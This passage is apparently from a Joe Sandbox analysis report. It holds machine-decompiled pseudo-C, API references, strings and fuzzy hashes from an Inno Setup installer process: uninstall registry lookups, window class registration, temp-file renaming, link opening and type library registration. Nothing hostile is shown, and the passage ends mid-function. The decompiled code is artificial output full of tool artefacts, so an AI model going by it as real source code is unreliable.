                                                          0x00485a0c
                                                          0x00485a11
                                                          0x00485a16
                                                          0x00485a27
                                                          0x00485a2a
                                                          0x00485a31
                                                          0x00485a34
                                                          0x00485a45
                                                          0x00485a4d
                                                          0x00485a56
                                                          0x00485a62
                                                          0x00000000
                                                          0x00000000
                                                          0x00485abc
                                                          0x00485abf
                                                          0x00485ac0
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00485ac0
                                                          0x00485a66
                                                          0x00485a67
                                                          0x00485a6c
                                                          0x00485a6f
                                                          0x00485a7a
                                                          0x00485a85
                                                          0x00485a8d
                                                          0x00485a99
                                                          0x00485aa0
                                                          0x00485aa3
                                                          0x00485aa6
                                                          0x00485ab4
                                                          0x00485ab4
                                                          0x00000000

                                                          APIs
                                                            • Part of subcall function 0042DD88: 6CAA6790.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,00477FD3,?,00000001,?,?,00477FD3,?,00000001,00000000), ref: 0042DDA4
                                                          • RegCloseKey.ADVAPI32(?,00485AC6,?,?,00000001,00000000,00000000,00485AE1), ref: 00485AAF
                                                          Strings
                                                          • %s\%s_is1, xrefs: 00485A40
                                                          • Inno Setup CodeFile: , xrefs: 00485A72
                                                          • Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00485A22
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A6790Close
                                                          • String ID: %s\%s_is1$Inno Setup CodeFile: $Software\Microsoft\Windows\CurrentVersion\Uninstall
                                                          • API String ID: 1840404773-1837835967
                                                          • Opcode ID: 8a81ba83a5b8fdecc60ba795356a817d32bb0c073b6c194c4a87fb33f5750451
                                                          • Instruction ID: 7d83a7a22d7167586f7ac8d504246e6fa468ebfda22027ddfa4a7710731a6734
                                                          • Opcode Fuzzy Hash: 8a81ba83a5b8fdecc60ba795356a817d32bb0c073b6c194c4a87fb33f5750451
                                                          • Instruction Fuzzy Hash: 22317470A046145FDB15EFA9DCD1A9EBBF8EB48704F90497AE800E3391D778AE01CB59
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 65%
                                                          			E0048A504(void* __ebx, void* __edi, void* __esi, void* __eflags) {
                                                          				intOrPtr _v8;
                                                          				intOrPtr _v12;
                                                          				char _v16;
                                                          				char _v20;
                                                          				char _v28;
                                                          				intOrPtr _t21;
                                                          				intOrPtr _t23;
                                                          				intOrPtr _t46;
                                                          				intOrPtr _t51;
                                                          				intOrPtr _t55;
                                                          				intOrPtr _t58;
                                                          				intOrPtr _t74;
                                                          				void* _t81;
                                                          				void* _t82;
                                                          				intOrPtr _t83;
                                                          				void* _t84;
                                                          
                                                          				_t84 = __eflags;
                                                          				_t79 = __esi;
                                                          				_t78 = __edi;
                                                          				_t57 = __ebx;
                                                          				_t81 = _t82;
                                                          				_t83 = _t82 + 0xffffffe8;
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v20 = 0;
                                                          				_push(_t81);
                                                          				_push(0x48a733);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t83;
                                                          				_t21 =  *0x48d628; // 0x21c2410
                                                          				E004244DC(_t21, "Uninstall", __edi);
                                                          				_t23 =  *0x48d628; // 0x21c2410
                                                          				ShowWindow( *(_t23 + 0x20), 5);
                                                          				_push(_t81);
                                                          				_push(0x48a6ff);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t83;
                                                          				E00473CC0();
                                                          				E0042D8E0( &_v20);
                                                          				E00407488(_v20);
                                                          				E0042D468(0, __ebx,  &_v20, __edi, __esi);
                                                          				E00403598(0x4ae328, __ebx, _v20, _t78, __esi);
                                                          				E004890E8(_t57, _v20, _t78, _t79, _t84);
                                                          				_t58 =  *0x4ae328; // 0x0
                                                          				_v8 = E0044FF24(_t58, 1, 1, 0, 2);
                                                          				_push(_t81);
                                                          				_push(0x48a62d);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t83;
                                                          				E0045001C(_v8,  &_v28);
                                                          				E00450194(_v28 - 8);
                                                          				E0045016C(_v8, 8,  &_v16);
                                                          				_t85 = _v16 - 0x67734d49;
                                                          				if(_v16 == 0x67734d49) {
                                                          					_t46 =  *0x4ae328; // 0x0
                                                          					E00450DB0(_t46, _t57, 1, _v12, _t78, _t79, __eflags);
                                                          				} else {
                                                          					_t51 =  *0x4ae328; // 0x0
                                                          					E0042C6B8(_t51, _t57,  &_v20, 0x48a760, _t78, _t79, _t85);
                                                          					E00403598(0x4ae330, _t57, _v20, _t78, _t79);
                                                          					_t55 =  *0x4ae330; // 0x0
                                                          					E00450DB0(_t55, _t57, 1, 0, _t78, _t79, _t85);
                                                          				}
                                                          				_pop(_t74);
                                                          				 *[fs:eax] = _t74;
                                                          				_push(E0048A634);
                                                          				return E00402CA0(_v8);
                                                          			}



















                                                          0x0048a504
                                                          0x0048a504
                                                          0x0048a504
                                                          0x0048a504
                                                          0x0048a505
                                                          0x0048a507
                                                          0x0048a50a
                                                          0x0048a50b
                                                          0x0048a50c
                                                          0x0048a50f
                                                          0x0048a514
                                                          0x0048a515
                                                          0x0048a51a
                                                          0x0048a51d
                                                          0x0048a525
                                                          0x0048a52a
                                                          0x0048a531
                                                          0x0048a53a
                                                          0x0048a541
                                                          0x0048a542
                                                          0x0048a547
                                                          0x0048a54a
                                                          0x0048a54d
                                                          0x0048a555
                                                          0x0048a55d
                                                          0x0048a567
                                                          0x0048a574
                                                          0x0048a579
                                                          0x0048a584
                                                          0x0048a596
                                                          0x0048a59b
                                                          0x0048a59c
                                                          0x0048a5a1
                                                          0x0048a5a4
                                                          0x0048a5ad
                                                          0x0048a5bb
                                                          0x0048a5cb
                                                          0x0048a5d0
                                                          0x0048a5d7
                                                          0x0048a60d
                                                          0x0048a612
                                                          0x0048a5d9
                                                          0x0048a5e1
                                                          0x0048a5e6
                                                          0x0048a5f3
                                                          0x0048a5fc
                                                          0x0048a601
                                                          0x0048a601
                                                          0x0048a619
                                                          0x0048a61c
                                                          0x0048a61f
                                                          0x0048a62c

                                                          APIs
                                                            • Part of subcall function 004244DC: SetWindowTextA.USER32(?,00000000), ref: 004244F4
                                                          • ShowWindow.USER32(?,00000005,00000000,0048A733,?,?,00000000), ref: 0048A53A
                                                            • Part of subcall function 0042D8E0: GetSystemDirectoryA.KERNEL32 ref: 0042D8F3
                                                            • Part of subcall function 00407488: SetCurrentDirectoryA.KERNEL32(00000000,?,0048A562,00000000,0048A6FF,?,?,00000005,00000000,0048A733,?,?,00000000), ref: 00407493
                                                            • Part of subcall function 0042D468: GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,0042D4F3,?,?,00000000,?,?,0048A56C,00000000,0048A6FF,?,?,00000005), ref: 0042D49D
                                                            • Part of subcall function 0044FF24: 6CAA5CA0.KERNEL32(00000000,?,00000000,00000000,?,00000080,00000000,?,00000000,?,?,0048A596,00000001,00000000,00000002,00000000), ref: 0044FF7D
                                                            • Part of subcall function 0045001C: GetFileSize.KERNEL32(?,00000004,00000000,?,0048A5B2,00000000,0048A62D,?,00000001,00000000,00000002,00000000,0048A6FF,?,?,00000005), ref: 0045002A
                                                            • Part of subcall function 0045001C: GetLastError.KERNEL32(?,00000004,00000000,?,0048A5B2,00000000,0048A62D,?,00000001,00000000,00000002,00000000,0048A6FF,?,?,00000005), ref: 00450036
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: DirectoryFileWindow$CurrentErrorLastModuleNameShowSizeSystemText
                                                          • String ID: .msg$IMsg$Uninstall
                                                          • API String ID: 2328437465-3145681768
                                                          • Opcode ID: 2a90364e37d2729e29b676f13f1bc3c80f4fcdcee4e38e56cdade1453b099a9f
                                                          • Instruction ID: 7b6bfc496daee7ada4590c7f8e59db63f78fbae63b1860f69919fee99f58681e
                                                          • Opcode Fuzzy Hash: 2a90364e37d2729e29b676f13f1bc3c80f4fcdcee4e38e56cdade1453b099a9f
                                                          • Instruction Fuzzy Hash: BC318134A00604AFDB00FB66CC52E9E7BB5EB49714F91883BF800A7292D779AD14DB59
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 96%
                                                          			E00416628(intOrPtr* __eax, void* __edi, void* __esi, void* __ebp) {
                                                          				char _v8;
                                                          				char _v12;
                                                          				struct _WNDCLASSA _v52;
                                                          				char _v116;
                                                          				struct _WNDCLASSA _v156;
                                                          				intOrPtr _v164;
                                                          				signed char _v185;
                                                          				void* __ebx;
                                                          				struct HINSTANCE__* _t32;
                                                          				signed int _t33;
                                                          				signed int _t35;
                                                          				struct HINSTANCE__* _t36;
                                                          				struct HINSTANCE__* _t55;
                                                          				intOrPtr* _t62;
                                                          
                                                          				_t76 = __esi;
                                                          				_t75 = __edi;
                                                          				_t62 = __eax;
                                                          				 *((intOrPtr*)( *__eax + 0x5c))();
                                                          				if(_v164 == 0 && (_v185 & 0x00000040) != 0) {
                                                          					_v12 =  *((intOrPtr*)(__eax + 8));
                                                          					_v8 = 0xb;
                                                          					E00408F10(__eax, 0xf02f, 1, __edi, __esi, 0,  &_v12);
                                                          					E00403264();
                                                          				}
                                                          				 *((intOrPtr*)(_t62 + 0xac)) = _v156.lpfnWndProc;
                                                          				_t32 =  *0x48d014; // 0x400000
                                                          				_t33 = GetClassInfoA(_t32,  &_v116,  &_v52);
                                                          				asm("sbb eax, eax");
                                                          				_t35 =  ~( ~_t33);
                                                          				if(_t35 == 0 || E00413854 != _v52.lpfnWndProc) {
                                                          					if(_t35 != 0) {
                                                          						_t55 =  *0x48d014; // 0x400000
                                                          						UnregisterClassA( &_v116, _t55);
                                                          					}
                                                          					_v156.lpfnWndProc = E00413854;
                                                          					_t36 =  *0x48d014; // 0x400000
                                                          					_v156.hInstance = _t36;
                                                          					_v156.lpszClassName =  &_v116;
                                                          					if(RegisterClassA( &_v156) == 0) {
                                                          						E00408EA0(_t62, 0xf02c, 1, _t75, _t76);
                                                          						E00403264();
                                                          					}
                                                          				}
                                                          				 *0x48c2dc = _t62;
                                                          				_t64 =  *_t62;
                                                          				 *((intOrPtr*)( *_t62 + 0x60))();
                                                          				if( *((intOrPtr*)(_t62 + 0xc0)) == 0) {
                                                          					_t64 = 0xf02d;
                                                          					E00408EA0(_t62, 0xf02d, 1, _t75, _t76);
                                                          					E00403264();
                                                          				}
                                                          				E00407758( *((intOrPtr*)(_t62 + 0x40)));
                                                          				 *((intOrPtr*)(_t62 + 0x40)) = 0;
                                                          				E0041859C(_t62);
                                                          				return E00415458(_t62, E0041A400( *((intOrPtr*)(_t62 + 0x44)), _t62, _t64, _t75, _t76), 0x30, 1);
                                                          			}

















                                                          0x00416628
                                                          0x00416628
                                                          0x0041662f
                                                          0x00416637
                                                          0x0041663f
                                                          0x0041664b
                                                          0x00416652
                                                          0x00416670
                                                          0x00416675
                                                          0x00416675
                                                          0x0041667e
                                                          0x00416691
                                                          0x00416697
                                                          0x0041669e
                                                          0x004166a0
                                                          0x004166a4
                                                          0x004166b6
                                                          0x004166b8
                                                          0x004166c3
                                                          0x004166c3
                                                          0x004166c8
                                                          0x004166d0
                                                          0x004166d5
                                                          0x004166dd
                                                          0x004166ee
                                                          0x004166fc
                                                          0x00416701
                                                          0x00416701
                                                          0x004166ee
                                                          0x00416706
                                                          0x00416710
                                                          0x00416712
                                                          0x0041671c
                                                          0x0041671e
                                                          0x0041672a
                                                          0x0041672f
                                                          0x0041672f
                                                          0x00416737
                                                          0x0041673e
                                                          0x00416743
                                                          0x00416767

                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Class$InfoRegisterUnregister
                                                          • String ID: @
                                                          • API String ID: 3749476976-2766056989
                                                          • Opcode ID: 43229e8da9ce3e3f4f96adc0c1fc8c79b1ef0366f75726ad0edd871e2e0a21a6
                                                          • Instruction ID: 67cea70a595abc1ebc2e784fd8e21bc92d25681d946b583905747d802ef020d9
                                                          • Opcode Fuzzy Hash: 43229e8da9ce3e3f4f96adc0c1fc8c79b1ef0366f75726ad0edd871e2e0a21a6
                                                          • Instruction Fuzzy Hash: 873140706053408BDB10EF69C58179A77E5AB44308F00487EF945DB392DB39E945CB6A
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 75%
                                                          			E0044FD0C(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi) {
                                                          				intOrPtr _v8;
                                                          				intOrPtr _v12;
                                                          				char _v16;
                                                          				intOrPtr _v20;
                                                          				intOrPtr _v24;
                                                          				void* _v28;
                                                          				intOrPtr _t27;
                                                          				intOrPtr _t31;
                                                          				long _t32;
                                                          				char* _t46;
                                                          				void* _t53;
                                                          				intOrPtr _t60;
                                                          				void* _t73;
                                                          
                                                          				_v16 = 0;
                                                          				_t53 = __eax;
                                                          				_push(_t73);
                                                          				_push(0x44fdfe);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t73 + 0xffffffe8;
                                                          				_t27 =  *((intOrPtr*)(__edx + 8));
                                                          				if( *((intOrPtr*)(_t27 + 8)) == 0x70b &&  *((intOrPtr*)(_t27 + 0xc)) == 0x201) {
                                                          					_v12 =  *((intOrPtr*)(_t27 + 0x18));
                                                          					_v8 =  *((intOrPtr*)(_t27 + 0x1c));
                                                          					_t31 = _v12;
                                                          					if(_t31 != 0 || _v8 != 0xffffffff) {
                                                          						_t32 = _v8 - _t31 + 1;
                                                          					} else {
                                                          						_t32 = SendMessageA(E004183F8(__eax), 0xe, 0, 0);
                                                          					}
                                                          					E004039EC( &_v16, _t32);
                                                          					_v28 = _v12;
                                                          					_v24 = _v8;
                                                          					_v20 = E00403880(_v16);
                                                          					E004039EC( &_v16, SendMessageA(E004183F8(_t53), 0x44b, 0,  &_v28));
                                                          					if(_v16 != 0) {
                                                          						_t46 = E00403880(_v16);
                                                          						ShellExecuteA(E004183F8(_t53), "open", _t46, 0, 0, 1);
                                                          					}
                                                          				}
                                                          				_pop(_t60);
                                                          				 *[fs:eax] = _t60;
                                                          				_push(0x44fe05);
                                                          				return E00403548( &_v16);
                                                          			}
















                                                          0x0044fd17
                                                          0x0044fd1a
                                                          0x0044fd1e
                                                          0x0044fd1f
                                                          0x0044fd24
                                                          0x0044fd27
                                                          0x0044fd2a
                                                          0x0044fd36
                                                          0x0044fd4c
                                                          0x0044fd52
                                                          0x0044fd55
                                                          0x0044fd5a
                                                          0x0044fd7d
                                                          0x0044fd62
                                                          0x0044fd70
                                                          0x0044fd70
                                                          0x0044fd83
                                                          0x0044fd8b
                                                          0x0044fd91
                                                          0x0044fd9c
                                                          0x0044fdbc
                                                          0x0044fdc5
                                                          0x0044fdd0
                                                          0x0044fde3
                                                          0x0044fde3
                                                          0x0044fdc5
                                                          0x0044fdea
                                                          0x0044fded
                                                          0x0044fdf0
                                                          0x0044fdfd

                                                          APIs
                                                          • SendMessageA.USER32(00000000,0000000E,00000000,00000000), ref: 0044FD70
                                                          • SendMessageA.USER32(00000000,0000044B,00000000,?), ref: 0044FDB2
                                                          • ShellExecuteA.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 0044FDE3
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$ExecuteShell
                                                          • String ID: open
                                                          • API String ID: 2179883421-2758837156
                                                          • Opcode ID: 42564c6eeb6deef64650f52c8e23315e1c59a5b6dd070c11e69bba9944d2937d
                                                          • Instruction ID: 3fa93964ceabb53ef9c22f00a65b48a4767f5f8ba133d652903184c3b2e2371a
                                                          • Opcode Fuzzy Hash: 42564c6eeb6deef64650f52c8e23315e1c59a5b6dd070c11e69bba9944d2937d
                                                          • Instruction Fuzzy Hash: 37216470F40704AFEB14EF69CC42B9EB7B8DB44714F20857BB411A7291D7789E44CA58
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 71%
                                                          			E0048A8E4(intOrPtr __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
                                                          				intOrPtr _v8;
                                                          				intOrPtr _v12;
                                                          				char _v16;
                                                          				char _v20;
                                                          				char _v24;
                                                          				char _v28;
                                                          				char _v32;
                                                          				signed int _t39;
                                                          				void* _t43;
                                                          				char _t52;
                                                          				intOrPtr _t62;
                                                          				void* _t66;
                                                          				signed int _t68;
                                                          				void* _t72;
                                                          
                                                          				_v24 = 0;
                                                          				_v16 = 0;
                                                          				_v20 = 0;
                                                          				_v12 = __edx;
                                                          				_v8 = __eax;
                                                          				_push(_t72);
                                                          				_push(0x48a9da);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t72 + 0xffffffe4;
                                                          				E00403548(_v12);
                                                          				E0042CA40(_v8, 0,  &_v16);
                                                          				_t66 = 0;
                                                          				_t52 = 0;
                                                          				do {
                                                          					_v32 = _t52;
                                                          					_v28 = 0;
                                                          					E00407B08("isRS-%.3u.tmp", 0,  &_v32,  &_v24);
                                                          					E00403708( &_v20, _v24, _v16);
                                                          					_t39 = E00403880(_v20);
                                                          					_push(_t39);
                                                          					L00405A54();
                                                          					_t68 = _t39;
                                                          					if(_t68 == 0xffffffff) {
                                                          						L5:
                                                          						_push(1);
                                                          						_push(E00403880(_v20));
                                                          						_t43 = E00403880(_v8);
                                                          						_push(_t43);
                                                          						L00405B84();
                                                          						if(_t43 == 0) {
                                                          							_t66 = _t66 + 1;
                                                          							if(_t66 == 0xa) {
                                                          								break;
                                                          							}
                                                          							goto L8;
                                                          						}
                                                          						E004035DC(_v12, _v20);
                                                          						break;
                                                          					}
                                                          					if((_t68 & 0x00000010) != 0) {
                                                          						goto L8;
                                                          					}
                                                          					if((_t68 & 0x00000001) != 0) {
                                                          						_push(_t68 & 0xfffffffe);
                                                          						_push(E00403880(_v20));
                                                          						L00405BE4();
                                                          					}
                                                          					goto L5;
                                                          					L8:
                                                          					_t52 = _t52 + 1;
                                                          				} while (_t52 != 0x3e8);
                                                          				_pop(_t62);
                                                          				 *[fs:eax] = _t62;
                                                          				_push(E0048A9E1);
                                                          				return E00403568( &_v24, 3);
                                                          			}

















                                                          0x0048a8ef
                                                          0x0048a8f2
                                                          0x0048a8f5
                                                          0x0048a8f8
                                                          0x0048a8fb
                                                          0x0048a900
                                                          0x0048a901
                                                          0x0048a906
                                                          0x0048a909
                                                          0x0048a90f
                                                          0x0048a91a
                                                          0x0048a91f
                                                          0x0048a921
                                                          0x0048a923
                                                          0x0048a927
                                                          0x0048a92a
                                                          0x0048a938
                                                          0x0048a946
                                                          0x0048a94e
                                                          0x0048a953
                                                          0x0048a954
                                                          0x0048a959
                                                          0x0048a95e
                                                          0x0048a982
                                                          0x0048a982
                                                          0x0048a98c
                                                          0x0048a990
                                                          0x0048a995
                                                          0x0048a996
                                                          0x0048a99d
                                                          0x0048a9ac
                                                          0x0048a9b0
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0048a9b0
                                                          0x0048a9a5
                                                          0x00000000
                                                          0x0048a9a5
                                                          0x0048a966
                                                          0x00000000
                                                          0x00000000
                                                          0x0048a96e
                                                          0x0048a973
                                                          0x0048a97c
                                                          0x0048a97d
                                                          0x0048a97d
                                                          0x00000000
                                                          0x0048a9b2
                                                          0x0048a9b2
                                                          0x0048a9b3
                                                          0x0048a9c1
                                                          0x0048a9c4
                                                          0x0048a9c7
                                                          0x0048a9d9

                                                          APIs
                                                          • 6CF178A0.KERNEL32(00000000,0048B23D,00000000,0048A9DA,?,?,00000000,0048D628), ref: 0048A954
                                                          • 6CAA69D0.KERNEL32(00000000,00000000,00000000,0048B23D,00000000,0048A9DA,?,?,00000000,0048D628), ref: 0048A97D
                                                          • 6CAA6100.KERNEL32(00000000,00000000,00000001,00000000,0048B23D,00000000,0048A9DA,?,?,00000000,0048D628), ref: 0048A996
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A6100F178
                                                          • String ID: isRS-%.3u.tmp
                                                          • API String ID: 3839809585-3657609586
                                                          • Opcode ID: 49e6b547a2fd8e0374bb205f38c61438e340f61d32b796195d9f596b7ba34205
                                                          • Instruction ID: eb382a039b259471daef276d74e9ad645bfdf0e008dd4c0ff679db67ec782905
                                                          • Opcode Fuzzy Hash: 49e6b547a2fd8e0374bb205f38c61438e340f61d32b796195d9f596b7ba34205
                                                          • Instruction Fuzzy Hash: 4F21D7B0E04119AFDB04FFA9C881AAFB7B8EB44314F11497BF814B32D1D6786E018B59
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 50%
                                                          			E00454A9C(void* __eax, void* __ebx, void* __edi, void* __esi) {
                                                          				intOrPtr _v8;
                                                          				void* _v12;
                                                          				void* _v16;
                                                          				intOrPtr _t19;
                                                          				intOrPtr _t21;
                                                          				intOrPtr* _t23;
                                                          				intOrPtr _t39;
                                                          				void* _t45;
                                                          				void* _t46;
                                                          				intOrPtr _t47;
                                                          
                                                          				_t43 = __esi;
                                                          				_t42 = __edi;
                                                          				_t45 = _t46;
                                                          				_t47 = _t46 + 0xfffffff4;
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v16 = 0;
                                                          				_t32 = __eax;
                                                          				_push(_t45);
                                                          				_push(0x454b84);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t47;
                                                          				E0042C8F0(__eax,  &_v16);
                                                          				_v8 = E00403DEC(_v16);
                                                          				if(_v8 == 0) {
                                                          					E00408DE4();
                                                          				}
                                                          				_push(_t45);
                                                          				_push(0x454b67);
                                                          				_push( *[fs:edx]);
                                                          				 *[fs:edx] = _t47;
                                                          				_push( &_v12);
                                                          				_t19 = _v8;
                                                          				_push(_t19);
                                                          				L0042CD54();
                                                          				_t49 = _t19;
                                                          				if(_t19 != 0) {
                                                          					E00451C00("LoadTypeLib", _t32, _t19, _t42, _t43, _t49);
                                                          				}
                                                          				_push(_t45);
                                                          				_push(0x454b49);
                                                          				_push( *[fs:edx]);
                                                          				 *[fs:edx] = _t47;
                                                          				_push(0);
                                                          				_push(_v8);
                                                          				_t21 = _v12;
                                                          				_push(_t21);
                                                          				L0042CD5C();
                                                          				_t50 = _t21;
                                                          				if(_t21 != 0) {
                                                          					E00451C00("RegisterTypeLib", _t32, _t21, _t42, _t43, _t50);
                                                          				}
                                                          				_pop(_t39);
                                                          				 *[fs:eax] = _t39;
                                                          				_t23 = _v12;
                                                          				return  *((intOrPtr*)( *_t23 + 8))(_t23, E00454B50);
                                                          			}













                                                          0x00454a9c
                                                          0x00454a9c
                                                          0x00454a9d
                                                          0x00454a9f
                                                          0x00454aa3
                                                          0x00454aa4
                                                          0x00454aa7
                                                          0x00454aaa
                                                          0x00454aae
                                                          0x00454aaf
                                                          0x00454ab4
                                                          0x00454ab7
                                                          0x00454abf
                                                          0x00454acc
                                                          0x00454ad3
                                                          0x00454ad5
                                                          0x00454ad5
                                                          0x00454adc
                                                          0x00454add
                                                          0x00454ae2
                                                          0x00454ae5
                                                          0x00454aeb
                                                          0x00454aec
                                                          0x00454aef
                                                          0x00454af0
                                                          0x00454af5
                                                          0x00454af7
                                                          0x00454b00
                                                          0x00454b00
                                                          0x00454b07
                                                          0x00454b08
                                                          0x00454b0d
                                                          0x00454b10
                                                          0x00454b13
                                                          0x00454b18
                                                          0x00454b19
                                                          0x00454b1c
                                                          0x00454b1d
                                                          0x00454b22
                                                          0x00454b24
                                                          0x00454b2d
                                                          0x00454b2d
                                                          0x00454b34
                                                          0x00454b37
                                                          0x00454b3f
                                                          0x00454b48

                                                          APIs
                                                            • Part of subcall function 0042C8F0: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C914
                                                            • Part of subcall function 00403DEC: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403E26
                                                            • Part of subcall function 00403DEC: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403E31
                                                          • LoadTypeLib.OLEAUT32(00000000,00000000), ref: 00454AF0
                                                          • RegisterTypeLib.OLEAUT32(00000000,00000000,00000000), ref: 00454B1D
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Type$AllocByteCharFullLoadMultiNamePathRegisterStringWide
                                                          • String ID: LoadTypeLib$RegisterTypeLib
                                                          • API String ID: 1312246647-2435364021
                                                          • Opcode ID: 699b1495669719d1d07f44d49bb4d421f1a83f59606d3be109952a9e5c7833c1
                                                          • Instruction ID: 84f6ed0dd6e95ffac2d918cf6216790266fd86d231671e529bdce5275550d417
                                                          • Opcode Fuzzy Hash: 699b1495669719d1d07f44d49bb4d421f1a83f59606d3be109952a9e5c7833c1
                                                          • Instruction Fuzzy Hash: 5311B130B00604AFDB01EFA6CD51F5EBBBDEB89349B108476F804D7652DA38EA44CA58
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 61%
                                                          			E00456530(char __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
                                                          				char _v5;
                                                          				struct HICON__* _v12;
                                                          				char _v16;
                                                          				void* _t34;
                                                          				intOrPtr _t45;
                                                          				void* _t49;
                                                          				void* _t50;
                                                          				intOrPtr _t51;
                                                          
                                                          				_t49 = _t50;
                                                          				_t51 = _t50 + 0xfffffff4;
                                                          				_v16 = 0;
                                                          				_t34 = __edx;
                                                          				_v5 = __eax;
                                                          				_push(_t49);
                                                          				_push(0x456674);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t51;
                                                          				 *0x48df2c = 0;
                                                          				 *0x48df30 = 0;
                                                          				E004075E4(0x48df34, 0xfff, __edx);
                                                          				E0042C990(_t34, 0xfff,  &_v16);
